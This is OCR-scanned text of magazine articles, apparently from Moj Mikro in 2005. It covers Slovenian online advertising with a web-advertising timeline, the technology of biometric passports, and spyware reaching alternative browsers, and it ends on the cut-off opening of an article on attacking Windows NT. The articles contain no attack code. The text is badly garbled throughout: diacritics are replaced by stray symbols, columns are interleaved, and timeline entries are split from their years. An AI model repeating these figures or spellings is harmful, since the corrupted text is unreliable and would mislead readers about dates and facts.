Lani je po podatkih Me- | &% 1 —
diane  (www.mediana.si) -_.m-: e

bruto vrednost oglaSevanja g
v Sloveniji znasala dobrih | . |
77 milijard tolarjev, kar 5

je za 18 odstotkov ve& kot 2 %, 4
leto poprej in 32 % vec kot 1,0%
leta 2003, ko je bila bruto | @i =+
vrednost oglagevanja 58
milijard SIT. Podobno kot
v preteklih letih najvedji
kos oglasevalskega kolaca
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Ce gledamo na spletno oglasevanje v vidika
deleza v celotnem oglasevalskem kolacu, lahko
re¢emo, da se spletno oglagevanje v Sloveniji
$e vedno ni prijelo, saj prevladujejo med ogla-
Sevalci predvsem vedja podjetja, ki namenjajo
internetu le drobtino celotnega oglagevalskega
kolaga, in to kljub temu, da je doseg interneta
Ye precejSen, da ponuja internetno oglaSevanje
precej velik razpon kreativnih mo?nosti in da je
udinkovitost oglagevanja v internetu veliko bolj
merljiva kot v klasi¢nih medijih.

Problem slovenskega oglasevalskega trga je Ze
zadnjih nekaj let zelo podoben. Kljub opaznemu
napredku lahko Se vedno govorimo o pomanj-
kanju znanja na podrogju spletnega oglaSevanja
in interneta nasploh. Manj§i ogladevalci zaradi
omejenih finanénih sredstev ne ogladujejo prek
agencij in se oglasnih akcij lotevajo po najbolj-
$ih moceh, kot vedo in znajo. To seveda prinasa
v velini primerov skromne rezultate, kar vpliva
na dodatno nezaupanje podjetij do internetnega
oglasevanja. Po drugi strani so oglasne agencije v
Sloveniji vsaj glede znanja, kreativnosti in pro-
dukcijskih zmo#nosti v zadnjih letih precej na-
predovale, vendar se zdi, da za internetno oglase-
vanje niso kaj prida zainteresirane in se ga zaradi
skromnih donosov raje izogibajo.

Vetino oglaSevalskega kolaca si tako kot v
svetu tudi v Sloveniji razdelijo najbolj obiskane
spletne strani. Ce sta Se pred $tirimi leti vecino
oglasevalskega denarja pobirala Matikurja in
Siol, pa zdaj temu ni ve& tako. Trend obiskano-
sti pri Mat'kurji je namre& e nekaj ¢asa obrnjen
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Delez spletnega oglaSevanja v ZDA in Sloveniji (neto vrednost) Vir: Httpool

navzdol, kar se kaZe tudi v vse manjsih oglage-
valskih prilivih. Dale¢ pred vsemi je Najdi.si, ki
je zaradi kakovostnega iskalnika in s tem velike
obiskanosti, dobre trfenjske ekipe in sredstev, ki
jih vlaga v razvoj, dale¢ najbolj priljubljen med
oglasevalci, tako da si odreZe najvetji kos ogla-
Sevalske pogae. Med spletne strani, ki se lahko
pohvalijo s solidnimi oglaSevalskimi prihodki
prav gotovo sodita 24ur.com in Siol.net. Veli-
ko spletnega oglagevalskega denarja poberejo
tudi specializirani mediji (3¢ posebej Finance-
on.net), saj lahko na njih oglasevalci natan¢neje
dosegajo svoje ciljno ob¢instvo.

Ce smo 3e pred nekaj leti merili hitrost pove-
zav v kilobitih na sekundo (Kb/s) , pa se danes
velik dele? internetnih uporabnikov %e pogovar-
ja o tem, s koliko megabitno povezavo dostopajo
do interneta. Po podatkih podjetja Nielsen//Ne-
tRatings je v ZDA decembra leta 2004 Ze 54 %
gospodinjstev z dostopom do interneta uporab-
ljalo Sirokopasovno povezavo. Ravno naraséa-
nje hitrosti internetnih povezav je pripeljalo do
tega, da ni ve¢ problem pretoditi v ratunalnik

&

nekaj 100 KB velik video oglas v nekaj sekun-
dah, ne da bi bilo pri tem kakorkoli moteno
uporabnikovo pregledovanje spletne vsebine. In
$e en podatek je zelo pomemben za oglasevalsko
industrijo: uporaba Zirokopasovnih povezav je
namre¢ prinesla tudi veliko daljse ¢ase, ki jih
uporabniki preZivijo v internetu, saj jim ni ve
treba meriti ¢asa in stroske telefonskih impul-
zov. Po podatkih podjetja DoubleClick preZivijo
uporabniki Sirokopasovnih povezav v povpredju
skoraj 50 % ve& ¢asa v internetu kot uporabniki
modemskih povezav.

Video je v spletne oglase vpeljala druzba Uni-
cast (www.unicast.com), ki je v zaCetku leta
2004 predstavila novost na trgu oglasevanja
— 30-sekundne celozaslonske video oglase (Vi-
deo Commercial), ki so internetno oglaSevanje
popolnoma priblizali televizijskemu.

Poleg uporabe Sirokopasovnih internetnih po-
vezav, vedjih oglasnih povrdin in novih oglasnih
formatov, je spletna tehnologija napredovala %e do
taksne mere, da omogoca razvoj ucinkovitih ogla-
Sevalskih akcij in prakti¢no neomejenih kreativnih
reditev, ki temeljijo na video, avdio in interaktiv-
nih ué¢inkih. Prihod videa v internet pa pomeni, da
bodo tako spletne vsebine kot oglasi lahko postali
veliko zabavnejsi in ¢ustveni. Po podatkih druzbe
Jupiter Research so oglasevalci v ZDA lani porabili
77 milijonov dolarjev za spletne video oglase, do
leta 2009 pa naj bi se ta znesek povecal za ve€ kot
osemkrat — na 657 milijonov dolarjev.

Poleg vse ve&jih mer spletnih oglasov in vse
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nehno  naras¢anje
Stevila spletnih me-
dijev in naprav za do-
stop do spletnih vse-
bin je pripeljalo do
tega, da sta nalrto-
vanje in zakupovanje
spletnega medijskega
prostora ter ¢asa po-
stala izredno tefavna
in zapletena. Zaradi
mobilnosti potro¥ni-
kov, obseine izbire
medijev in poplave
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Sponzorirane povezave imajo so najholj priljubljena oblika spletnega oglasevanja

vedji vlogi videa v spletnih oglasih, poteka razvoj
spletnega oglaSevanja tudi v smeri &imbolj na-
tan¢nega ciljanja in osebnega pristopa. Podjetja
se namrec vse bolj zavedajo, da ponuja spletno
oglasevanje pred klasi¢nimi mediji $tevilne
prednosti, med katerimi velja izpostaviti moz-
nost natanénih meritev, sledenje uporabnikom,
mo?nost natancnega ciljanja ter interakcijo z
uporabnikom. Pri spletnih oglasih ni prednost
samo v tem, da lahko oglaSevalci natan¢no
spremljajo obisk. Vedo celo to, odkod je prisel
obiskovalec na njihovo spletno stran in kam je
odsel. V skladu z obnasanjem obiskovalcev lahko
oglaSevalci ponudijo taksne oglase, ki natan¢no
merijo na prave ciljne skupine. Tako je ena od
vro¢ih tem internetnega oglagevanja v zadnjem
Casu tudi ciljanje glede na obnasanje spletnih
obiskovalcev (behavioral targeting). Gre za to,
da se dolotenemu obiskovalcu postreZejo le tisti
oglasi, ki so vezani na njegovo obnasanje med
obiskovanjem spletnih strani.

7 integracijo interneta v klasi¢ni medijski
splet bo poasi tudi spletno oglasevanje dobilo
dele?, ki mu pripada. Vegji oglaSevalci namred
po podatkih Ameriskega oglasevalskega zdruze-
nja in druzbe Atlantic Media namenjajo inter-
netnim oglasom povpre¢no 8 odstotkov oglase-
valskega proratuna, v treh letih pa naj bi se ta
dele? povetal na 17 odstotkov. Analitiki napo-
vedujejo, da bodo gonilne sile nadaljnje rasti in-
ternetnega oglasevanja predvsem vse vedja raz-
Sirjenost Sirokopasovnega dostopa do interneta,
odmik oglagevalcev od tradicionalnih tiskanih
in elektronskih medijev ter vse ve&ja uporaba
spletnih obogatenih oglasov (rich media), ki so
skorajda enaki kot TV-oglasi. Forrester Research
ocenjuje, da bo spletni oglasevalski kola¢ do leta
2010 vreden %e 26 milijard dolarjev, kar pomeni,
da naj bi dosegel osemodstotni dele? v celotnem
prihodku od oglaevanja. Krepitev deleza bi naj
bila posledica padca oglagevanja v revijah, direk-
tni posti in Casopisih. Na rast spletnega oglaseva-
nja bi naj vplivali predvsem sponzorirani zadetki
pri iskanju ter video oglasi.

O tem, kako bi se naj spletni oglagevalski
trg razvijal v naslednjih letih, je Simon Cetin,
direktor podjetja Iprom, dejal naslednje: »Ne-

s vsebin postaja do-
seganje ciljnih upo-
rabnikov vse teZje.
V prihodnosti se bo

oglagevanje s spletnimi oglasi lahko zanasalo

le na avtomatske sisteme, ki ugotavljajo, kako
in doloceni osebi 'dostaviti' ustrezen oglas ob
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desetletje spletnega oglasevanja
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Avtomohilisti imajo radi predvsem obogatene oglase.

Yelenem &asu in prek pravega medija oziroma
naprave. Razvoj 'inteligentnih' programov, ki
v realnem &asu uporabnikom razli¢nih medijev
posredujejo oglasna sporoéila, glede na to, kaj
ti gledajo in kako se na vsebine odzivajo, je na
neustavljivem pohodu.«
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200.000 USD.
(cena na klik).

oglasov.

(rich media) spletnih oglasov.

1998 Ustanovljena je organizacija IAB Europe.

Zlom podijetij dotcom.

vet kot v letu 2002.
kinematografih.

9,6 milijarde dolarjev.

radijsko oglagevanje

1994 Oktobra se na spletni strani HotWired.com odvrtijo prvi spletni oglasi.
Med prvimi spletnimi oglasevalci se pojavijo AT&T, MCI, Sprint, Volvo.

1995 Forrester Research poroca, naj bi znasal letni obseg spletnega ogladevanja 37 milijonov dolarjev.
InfoSeek in Netscape zatneta prodajati oglasni prostor glede na Stevilo prikazov oglasa.

1996 AT&T zatne prvo oglasevalsko akcijo z animiranimi oglasnimi pasicami.
Microsoft placa za sponzoriranje spletne strani, namenjene finalu ameriskega nogometa,

Yahoo! dovoli podjetju Proctor & Gamble, da zakupi oglasni prostor po modelu CNK
Organizacija CASIE v sodelovanju z IAB-om objavi standarde za oblike in velikosti spletnih

Podjetja namenijo spletnemu oglasevanju 301 milijon dolarjev.
Prva uporaba Flasha, na podlagi katerega je 9 let pozneje izdelanih 98 % vseh obogatenih

1997 Povpretna stopnja klikov na spletne oglase pade na 1 %.
Vrednost internetnega oglaSevanja se pribliza milijardi dolarjev.

Oglasevanje s pasicami ima s 56 % najvisji dele? med oblikami internetnega oglasevanja
Iskalnik GoTo.com (pozneje Overture) uvede sponzorirane povezave.
2000 Prvi vrhunec spletnega oglasevanja, ki ustvari 8 milijard dolarjev prometa.

IAB predstavi nov format pasice: spletni neboti¢nik (120 x 600).
Google.com predstavi oglaSevanje s klju¢nimi besedami.
Slovenija dobi prvo spletno oglasevalsko mre¥o Iprom, ki ji kmalu zatem sledi Httpool.

2001 Standardizacija obogatenih oglasnih formatov.

Vrednost internetnega oglaSevanja prvi¢ doslej pada v vseh Cetrtletjih leta.

2002 Negativni trend padanja vrednosti internetnega ogladevanja se zaustavi v drugi polovici leta.
Pod okriljem podjetja Iprom za¢ne oktobra delovati prva slovenska vecpredstavna spletna
oglasevalska mre?a Media Iprom, prek katere Citroen Slovenija izvede prvo multimedijsko
spletno oglasevalsko akcijo z lebde¢im oglasom v Sloveniji.

2003 Pasice standardne velikosti (468 x 60) zavzemajio s 58 odstotki $e vedno najvecji dele? med
spletnimi oglasi v DoubleClickovem omre%ju.

Oglagevalci so namenili internetnemu oglagevanju 7,2 milijarde dolarjev, kar pomeni petino

2004 Oglasevalci namenijo oglasevanju po klju¢nih besedah ve¢ sredstev kot oglagevanju v
Ameriski spletni oglasevalski trg doZivi po $tirih letih znova rekordno vrednost, ki se ustavi pri

Unicast predstavi video oglasni format Video Commercial, ki prekrije celoten zaslon.
V Veliki Britaniji ima internetno oglaSevanje v celotnem oglasevalskem kolacu vegji dele? kot

2005 Junija CNN odpre prej placljive video vsebine — poslovni model je oglagevanije!
V Sloveniji doseze Merkurjev spletni oglas rekordno, 15-odstotno opaznost.
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KONKRETNO
biometrija

KAJ PRINASA CIP
V POTNEM LISTU

Medtem ko se izteka razpis za izdelavo biometricnih potnih

listin, ki ga je objavili ministrstvo za notranje zadeve, smo se v
Mojem mikru odloCili pogledati v tehnolosko ozadje biometrije.
Kako nastane biometricni potni list ali drug biometricni dokument?
Kaksni so tehniCno-varnostni standardi? In koncno, kaj lahko
priCakujemo od prve generacije teh digitalnih dokumentov?

Pise: Vasja Ocvirk
vasja.ocvirk@mojmikro.si

smiselnosti, upravi¢enosti, eti¢nih vprasa-

njih in vplivu biometrije na naga Zivljenja,

varnosti na eni in zasebnosti na drugi strani

tokrat ne bomo razpravljali. Kot receno,
nas trenutno bolj zanima tehnologija, ki stoji za
tem. Vendar velja najprej razjasniti pojem bio-
metrije nasploh. Izraz biometrija zajema nacine za
samodejno prepoznavanje fizi¢nih ali vedenjskih
znadilnosti Zive osebe. Tako vsaj v svojih uradnih
dokumentih definira biometrijo skupina NTWG
(New Technology Working Group), ki deluje
znotraj organizacije ICAO (International Civil
Aviation Organisation) in velja za alfo in omego
biometrije, kakr$no poznamo danes. V preprostem
prevodu biometrija pomeni, da lahko nase telesne
znacilnosti prepoznamo in zapiSemo v digitalni
obliki ter jih nato zahtevam primerno uporabimo
za identifikacijo in prepoznavanje oseb. In ker je
biometrija v lu¢i svetovnega dogajanja v zadnjih
petih letih postala nadvse pogosto uporabljana
beseda, ne nazadnje prav zaradi zahtev ZDA in
EU-ja, je prav, da poznamo vsaj nekatere njene
tehnoloske osnove.

KAJ JE BIOMETRIJA?

Trenutno se biometrija nanasa zgolj na tri fi-
zi¢ne znacilnosti: obrazne poteze, prstni odtis in
garenico. Vedenjskih zna&ilnosti, pa tudi glasu
ali celo DNK-zapisa, ki jih lahko tako pogosto
zasledimo v znanstvenofantasti¢nih filmih, za-
enkrat Se ni zaslediti v prakti¢ni rabi in tudi
vpraSanje je, kdaj jih lahko pravzaprav sploh
pri¢akujemo.

Odgovor na vprafanje iz uvoda, torej, kateri
podatki bodo shranjeni v ¢ipih digitalnih potnih
listov prve generacije, ki se nam kmalu obetajo,
smo poiskali v celjskem Cetisu, kjer Ze dlje ¢asa
pospeseno celovito razvijajo biometri¢ne meto-
de in dokumente. Mimogrede, v ¢asu nastanka

&
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tega besedila je bil na razpisu za biometri¢-
ne potne liste izbran prav Cetis, a postopek
ni bil konc¢an, saj je Se tekel rok za morebitno
pritozbo konkuren¢nega Miragea. Ne glede na
zmagovalca razpisa pa so znane tehni¢ne znacil-
nosti potnih listov, kakor tudi stopnje uvedbe
posameznih biometri¢nih dejavnikov v potne
listine. Vladimir Tkalec, vodja R&R programa
IT v Cetisu, nam je povedal,

da bosta zajem in zapisovanje biometri¢nih
podatkov potekala fazno: »V prvi fazi se bo od
biometrik zapisovala le podoba obraza imetnika
(slika in ne vzorec), prstni odtisi (slika in ne
vzorec) pa se bodo zadeli biometri¢no zapisovati
v potne listine v roku 36 mesecev od sprejema
tehni¢nih specifikacij v skladu z Uredbo sveta
(ES) 3t. 2252/2004, z dne 13. 12. 2004.«

Kaj to dejansko pomeni v praksi? Na prvi po-
gled skoraj ni&, vsebinsko pa kar prece;j. Potni list
bo po obliki Se naprej zelo podoben danainjemu,
le da bo imel v platnici vdelan &ip, v katerem
bo shranjena digitalna
fotografija v formatu

nima lastnega napajanja, saj energijo prejme od
bralnika oziroma zapisovalnika.

Programska oprema na nadzorni tocki lahko
preverja avtenti¢nost potnega lista pri izhodu
in vhodu v drzavo s primerjavo med fotografijo,
shranjeno v ¢ipu potnega lista, in fotografijo, ki
je bila vloZena ob izdaji tega dokumenta in je
v podatkovni zbirki. Primerja lahko tudi foto-
grafijo v Cipu s fotografijo osebe, ki jo posname
ustrezna oprema na nadzorni tocki. Dodatno
preverjanje je mo#no tudi s primerjavo vseh treh
nastetih virov in skenirane podobe fizi¢ne foto-
grafije v dokumentu, na voljo pa je tudi klasi¢na
neelektronska primerjava dobljenih rezultatov s
fizicno fotografijo na potnem listu. Vse nastete
metode so namenjene predvsem za preverja-
nje pristnosti potne listine in hkrati njenega
nosilca, je pa fotografijo mo& uporabiti tudi za
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JPEG 2000. Toda to je

zgolj eden izmed treh

delov, ki sestavljajo

celoten sistem. To fo-

tografijo bo treba na-

mreC najprej zajeti in
jo, v skladu z logi¢no
podatkovno strukturo,
zapisati na ¢ip. Hkrati
pa bo na drugi strani,
na primer na mejnem
prehodu, letalis¢u ali
drugi nadzorni tocki
mo¢ te podatke stroj-
no prebrati in jih z
ustrezno  programsko
opremo preveriti, pri-
merjati in avtorizirati.
Podatki se prenasanjo
brezkontaktno, &ip pa
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primerjavo s podatki iz podatkovne zbirke sum-
ljivih oseb, kar je $e zlasti ob¢utljivo vprasanje,
a ga, kot smo Ze omenili, tokrat ne bomo ob-
ravnavali.

AH, TI STANDARDI

Pri prepoznavanju fizi¢nih znacilnosti pro-
gramska oprema izlus¢i biometri¢ni vzorec (bio-
metric template), ki zajema kljuéne poteze in ga
je mo¢ primerjati z drugimi vzorci, kar postopek
precej pohitri, toda zaenkrat bodo v &ipih shra-
njene fotografije. Zakaj? Ali ne bi bilo laZje ali
vsaj idealno, ¢e bi v &ip shranili samo biome-
tri¢ni vzorec in ne fotografije? Ali pa celo oba?
Vzorec je tudi z vidika zasebnosti manj ob&utljiv
kot sama fotografija, tako, da ne bi $lo zgolj za
hitrost. Tkalec meni, da gre za neusklajenost
med posameznimi drzavami, ki so vsaka zase raz-
vile svoje programske resitve za prepoznavanje
obraznih znacilnosti in seveda §¢itijo avtorstvo,
tako da je fotografija pac tisti najmanjsi mozni
skupni imenovalec, ki zado$¢a sicer precej stro-
gim standardom. Pri prstnem odtisu bo stvar po-
dobna, vendar se bo za digitalni zapis uporabljal
enoten standard WSQ, ki ga je postavil FBI. V
prihodnosti pa morda lahko pri¢akujemo stan-
dardizirano podobo biometri¢nih vzorcev, ki jih
bodo lahko posamezne dr¥ave nebolece uvedle v
svojo programsko opremo, ne da bi se zaradi tega
spuscale v licen¢ne vojne.

Najbr? ste medtem %e pomislili, da lahko spre-
ten ponarejevalec poleg fotografije in fizi¢ne po-

biometrija

Kremenckovi

Nikomur ni popolnoma jasno, zakaj se je drzava odlotila za tako hiter javni razpis za bio-
metri¢ne potne liste, ko je znano, da so Americani nekoliko omilili svoje ¢asovne roke. Razpis
poleg fizi¢ne izdelave zajema tudi ustrezno opremo za digitalizacijo osebnih podatkov, te pa je
treba tudi preveriti in spremeniti v obliko, primerno za vnos na &ip.

S tem pa utegne biti nekaj te¥av oziroma natan&neje, zaradi izdelave novih potnih listin
dr¥avljanom nikakor ne bo olajsan postopek pridobivanja novih potnih listin.

Idealno bi namre¢ bilo, &e bi bile upravne enote opremljene z ustrezno opremo. Uradnica
bi nas slikala z digitalnim fotoaparatom, bralnik bi prebral na3 podpis na listu papirja ter ga
pretvoril v digitalno obliko in na koncu bi prst Se postavili na bralnik prstih odtisov. Te po-
datke bi uradnica dobila v svoj osebni ra¢unalnik skupaj s podatki o drfavljanu, pridobljenimi
iz centralnih registrov, hkrati bi v ozadju tudi stekel proces preverjanja. V pozitivhem primeru
ste tako opravili z vlogo. Biometri¢ne podatke bi sistem le $e ustrezno Sifriral in jih po varni
elektronski poti poslal izdelovalcu potnih listin. Kot ka%e, pa ne bo tako. V zaletku izdelave
potnih listin bo na &ip zape&ena zgolj podoba vasega obraza in, kot kaZe, boste v upravno eno-
to Se vedno morali prinesti fotografijo. Seveda boste prej morali obiskati fotografa in za to, da
vam bo digitalno fotografijo natisnil na papir (fotografi uporabljajo vec¢inoma le $e digitalne
fotoaparate), ustrezno placati. Upravna enota bo tako kot zdaj po klasi¢nih kanalih fotografijo
poslala izdelovalcu, ki jo bo tako kot sedaj skeniral in vnesel v &ip. Prstnih odtisov na zacetku
v &ipu ne bo, razpis predvideva, da se ta podatek doda najpozneje v roku 36 mesecev. V tem
asu pa bodo tudi upravne enote morali opremiti z ustrezno programsko in strojno opremo.

(Marjan Kodelja)

dobe potnega lista ponaredi tudi ¢ip in, jasno,
vse podatke na njem. Ce bi bilo vse tako prepros-
to, kot smo pravkar opisali, bi bilo to resni¢no
otro¢je lahko, pa tudi digitalni potni listi ne bi
bili stvar tega trenutka, temve¢ daljne prihod-
nosti. Pri pripravi tako imenovanega evropskega
potnega lista, ki je sad dolgoletnih prizadevanj in
Stevilnih resolucij, so namre¢ upostevali priporo-

¢ila za minimalne varnostne zahteve pri strojnem
branju podatkov. Na voljo je ve¢ varnostnih me-
tod in reSitev, pri nas pa bo v skladu z evropskimi
priporo¢ili uvedeno asinhrono §ifriranje z javni-
mi kljuéi oziroma IJK ali Infrastruktura javnih
kljucev (PKI - Public Key Infrastructure). Poleg
Sifriranja podatkov bo omogogeno tudi digitalno
podpisovanje izdajatelja (drfava, upravna eno-
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KONKRETNO
biometrija

ta), kar bo morebitnemu ponarejevalcu e do-
datno zagrenilo Zivljenje.

Branje &ipa se lahko izvaja na oddaljenosti do
10 centimetrov, ker pa obstaja mo#nost, da bi
lahko podatke brali tudi z ve&je razdalje (tudi
do 10 metrov!), je predviden $e en varnostni
mehanizem, ki zagotavlja, da nam naSega potne-
ga lista nepridipravi ne bi mogli prebrati kar iz
Yepa. Dostop do ¢ipa je namre¢ mozen le takrat,
ko je sistem na nadzorni tocki prebral (poskeni-
ral) OCR-vrstico, na podlagi katere je izracu-
nal klju€ za dostop do samega &ipa. Mimogrede,
OCR-vrstica Ze obstaja na potnih listih, prepo-
znali pa jo boste po malce nerazumljivem zapisu
znakov. Pravzaprav gre za dve vrstici, vendar to
na tem mestu ni pomembno. Kakorkoli Ze, bio-
metri¢ni potni list moramo najprej odpreti in ga
polofziti na bralnik, $ele potem se lahko vzposta-
vi seja med sistemom in ¢ipom.

Pomembna je tudi standardizaacija zapisa na
&ipu. Predstavljajte si, da bi imela vsaka drzava
podatke v potnem listu zapisane v svojem for-
matu. Zmedi ne bi bilo konca, to¢neje, zadeva

sploh ne bi delovala. Zato je ICAO oziroma
NTWG izdelal standard za zapis podatkov LDS
(Logical Data Structure), ki zagotavlja skup-
no uporabnost (interoperatibilnost) celotnega
sistema, uposteval pa je standarde ISO (Inter-
national Organisation for Standardization). To
pomeni, da bodo lahko na§ potni list prebrali
povsod po svetu, kjer podpirajo strojno branje
biometri¢nih podatkov.

TEHNIKALIJE

Se nekaj podatkov v zvezi z logi¢no strukturo,
standardi in priporo¢ili [CAO. Cip mora podpi-
rati standard ISO 7816-4. Priporo¢ena uporaba
brezkontaktnega ¢ipa pomeni dvojno prednost,
saj je ravnanje s to tehnologijo za uporabnika
najenostavne;je, hkrati pa so brezkontakeni &ipi
v osnovi hitrejsi od kontaktnih, ko gre za prenos
podatkov.

Podatki, shranjeni na ¢ipu, morajo imeti ob-
stojnost priblizno 5 let (v nekaterih drzavah
tudi do 10 let). Z napredkom pri uporabi brez-
kontaktnih tehnologij se je tehnologija v za-
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Legenda:

RFID (Radio
Frequency
[Dentification tag)

Jadwimk
it
EEnrEEdEEEEE

- biometricni objekt
(Cip z anteno)
MRZ (Machine

Readable Zone)
-OCR vrstica,
podatki v tiskani
obliki, primerni za
branje z opticnim
bralnikom in
programsko
opremo za
prepoznavanje
znakov

Diagram tipiénega poteka branja biometricne potne listine

dnjih nekaj letih raz-
vila do te mere, da je s
standardnih 8 K prigla
na zmogljivost 64 KB.
Z novimi pomnilni-
gkimi moduli flash in
FRAM je mo¢ doseti
zmogljivosti med 512
in 1024 KB. To med
drugim pomeni tudi,
da bodo lahko Sifrirni
kljugi veliko veg;ji, kar
bo povetalo varnost
in zmanj$alo moZnost
poneverbe.

Standard LDS je
nastal zaradi zagotav-
ljanja  shranjevanja
razli¢nih  tipov  bio-
metri¢nih elementov,
skupaj z ved vzorci istega elementa, kot tudi za-
radi shranjevanja viz ter podatkov o potovanjih.
Drzave, ki se bodo odlotile, bodo lahko dodajale
druge biometri¢ne elemente v poznejsih fazah
(ob ponovni izdaji potnega lista ali med vmes-
nimi fazami). Cip mora zato ponuditi nekaj ved
prostora, da bo v prihodnosti mo¢ dodajati nove
podatke. Razsirljivost je tako klju¢nega pome-
na za LDS.

Trenutno mora prostor na ¢ipu (ne 3teje pros-
tor, na katerem je names¢en OS) obsegati vsaj
64 KB (za sliko, dva prstna odtisa, besedilne po-
datke in metapodatke).

Proizvajalcev &ipov je ve¢, omeniti pa velja
Philips, Infineon in Sharp. Cip potrebuje e
anteno, tako da nastane polproizvod, imenovan
inlay ali tudi prelam (proizvajalci so Smartrac,
Pav Card, Melzer itd). Tu so Se proizvajalci
operacijskih sistemov za &ipe,kakor tudi apli-
kacije (Gemplus, Axalto, G&D, Masktech in
$e mnogo drugih). Na voljo so tako namenski
operacijski sistemi kot tudi odprti, kot so reci-
mo Sunov Java Card Operating System. Torej

bi lahko v potnem listu imeli Java Card OS in
applet LDS. Namenski operacijski sistemi pa so
podobni DOS-u.

Vdelava ¢ipa v listino je zopet znanost zase.
Zas&ita pred zunanjimi fizi¢nimi vplivi mora
biti dovolj mo¢na, da ne pride do pogkodb ali
zamenjave Cipa. Tu je seveda e grafi¢na zasita,
ki pa %e ne sodi ve¢ v domeno digitalnega zapisa
podatkov.

KAKO DO BIOMETRICNEGA POTNEGA LISTA

Ce povzamemo celotno tehnologko ozadje in
ga primerjamo s postopkom pridobitve nove-
ga potnega lista in njegove uporabe, je razlika
navzven skoraj zanemarljiva. Pri izdaji biome-
tri¢nega potnega lista bomo namre¢ na upravni
enoti prav tako kot do zdaj predlozili fotografijo,
s to razliko, da bo morala sama fotografija ustre-
zati predpisanim biometri¢énim standardom.
Na mejnem prehodu ali drugi tocki nadzora pa
bomo potni list zgolj poloZili na bralnik (skener),
morda za trenutek pogledali v kamero in stvar bo
opravljena. Tisti, ki poznajo zamudna preverja-
nja na letalis¢ih, utegnejo biti nad novostjo nav-
duseni. Ce izvzamemo mo#nosti zlorabe osebnih
podatkov s strani drzave, o kateri, kot re¢eno, to-
krat nismo govorili, obstaja tu zgolj Se skrb zaradi
morebitnih tehni¢nih napak ali napa¢nih pre-
poznav (false negative, false positive). Prav temu
bo treba v prvih letih uvajanja biometrije v na$
vsakdan nameniti najve¢ pozornosti.

KDAJ JIH LAHKO PRICAKUJEMO

ZDA so zaradi znanih razmer postavile rok v
oktobru 2005, kar pa se zaradi tehnolosko za-
htevne vpeljave ocitno ni iz8lo, kar je povsem
smiselno. Tako je ta rok prestavljen za eno leto,
torej na oktober 2006. Z novimi tehnologijami
ne gre hiteti, kadar gre za tako obcutljivo po-
drogje, kot je biometrija. O posegu drave v za-
sebnost in ravnote?ju med slednjo ter varnostjo
osebnih podatkov drfavljanov pa kdaj drugi&.

|



Casu pridobivajo delez tudi »alternativni« brskalniki, ki s tem postajajo zanimivejSi tudi

za izdelovalce vohunskega programja ...

Pise: Bojan Amon
bojan.amon@mojmikro.si

elika ve&ina uporabnikov, ki se prvi¢ sreca

z uporabo interneta oziroma brskanjem po

spletu, doZivi svoj spletni krst s $e vedno

najbolj razSirjenim spletnim brskalnikom
Microsoft Internet Explorer. Internet Explorer
je Ze od sistema Windows 95 naprej vdelan v
operacijski sistem, zato njegova pogosta uporaba
ne preseneca. Po zadnjih podatkih (http://www.
w3schools.com/browsers/browsers_stats.asp) naj
bi avgusta 2005 Internet Explorer uporabljalo
74,8 odstotka vseh uporabnikov.

Preostali uporabniki v razlicnih odstotkih
uporabljajo enega od alternativnih spletnih br-
skalnikov, kot so Firefox, Netscape, Opera, Sa-
fari ipd.

Velika vegina uporabnikov se pri brskanju po
spletu sreCuje s t.i. vohunskim programjem (spy-
ware), ki prek brskalnika pridobiva podatke o
uporabnikovem ratunalniku, navadah, namesce-
ni programski opremi in podobno. Dezurni krivec
za odprtost ra¢unalnika tovrstnim nevse¢nostim

Odstotek uporabnikov po brskalnikih, avgust 2005

je ponavadi kar najbolj uporabljani spletni br-
skalnik — Internet Explorer, ki zaradi domnevno
nezanesljive in nezai¢itene zasnove pusa sistem
odprt za raznovrstne prikrite dejavnosti.

Veliko uporabnikov se je po bolj ali manj
uspeSnem srecanju s posebnimi programi, ki so
namenjeni zaznavanju in odstranjevanju vohun-
skih programov — seveda v skladu s priporo¢ili
racunalniskih gurujev — odlotilo za menjavo
svojega spletnega brskalnika. K predsodku proti
Microsoftovemu Internet Explorerju je brzkone
prispeval tudi (ne)ugled operacijskega sistema
Windows, ki je (vsaj do razli¢ice XP) veljal za pre-
teZno nestabilnega in ranljivega. Tako je veliko
uporabnikov za svoje novo brskalno orodje izbra-
lo Firefox, Netscape ali Opero, ki so vse prosto
dostopne aplikacije. Podatki ka%ejo, da Firefox,
ki postaja vse bolj priljubljen, uporablja Ze blizu
20 % uporabnikov. To je veliko, ¢e verjamemo
raziskovalnemu podjetju ClickZ Network, da bo
ob koncu leta 2005 na svetu Ze 1,07 milijarde
uporabnikov interneta (www.clickz.com/stats/
sectors/geographics/article.php/151151).

Kaj to pomeni za ustvarjalce vohunskih progra-

68,7 % 6,1 % 18,7 %

24 %

0,4 % 0,8 % 0,3%

KONKRETNO
spletni brskalniki

NEVSECNOSTI

Microsoftov Internet Explorer je Se vedno trzni vladar med brskalniki, a v zadnjem

mov ! Nov izziv. Izkazalo se je SmSm——
namret, da predvidevanja o po-

vezavi varnostne neustreznosti Internet Explorerja
in koli¢ini/usmerjenosti vuhunskega programja
ne vzdriijo empiri¢nega testa. V zadnjem letu je
namre¢ skokovito naraslo Stevilo vohunskega
programja, ki se prebije do uporabnika tudi prek
alternativnih spletnih brskalnikov. Isto velja tudi
za pojavna (pop-up) okna. Oglagevalci in avtorji
vohunskega programja namre& delujejo na podlagi
enostavne logike in proizvedejo najve¢ izdelkov
za najvedji trg — torej za uporabnike Internet Ex-
plorerja. Ker pa so se (in se $e naprej) pojavljajo
novi trgi — vegje Stevilo uporabnikov alternativnih
brskalnikov — je stekla tudi »proizvodnja« izdelkov
za ta trg.

To bodo hitro opazili predvsem uporabniki
Firefoxa, ki je edini resni konkurent Internet
Explorerju. Podoben razvoj lahko pri¢akujemo
tudi na podrogju elektronske poste, kjer Mozilla
ponuja alternativo Microsoftovemu Outlooku
— Thunderbird. Tudi tu lahko ob ve&jem 3te-
vilu uporabnikov (kljub dobremu filtrirnemu
mehanizmu) pri¢akujemo oblikovanje novega,
naprednejiega spama. Eden od razlogov, zakaj
je vohunsko programje vse bolj razsirjeno tudi
pri alternativnih internetnih brskalnikih, je
dejstvo, da posebni zai¢itni programi, pisani za
Internet Explorer, pri drugih brskalnikih niso
ucinkoviti. Ne glede na to so ti zas¢itni programi
prav zaradi velikega $tevila uporabnikov Inter-
net Explorerja povzro&ili upad 3tevila pojavnih
(pop-up) sporocil. W

MOJ MIKRO 10 OKTOBER 2005 35




Ik\; Al

hekerske metode

NAPAD NA WINDOWS

Windows NT je kiju

Se vedno Siroko zas /
zasebnih kot tudi javnih omrezjih. %
Za ta sistem je znanih toliko
varnostnih pomanjkljivosti in tehnik
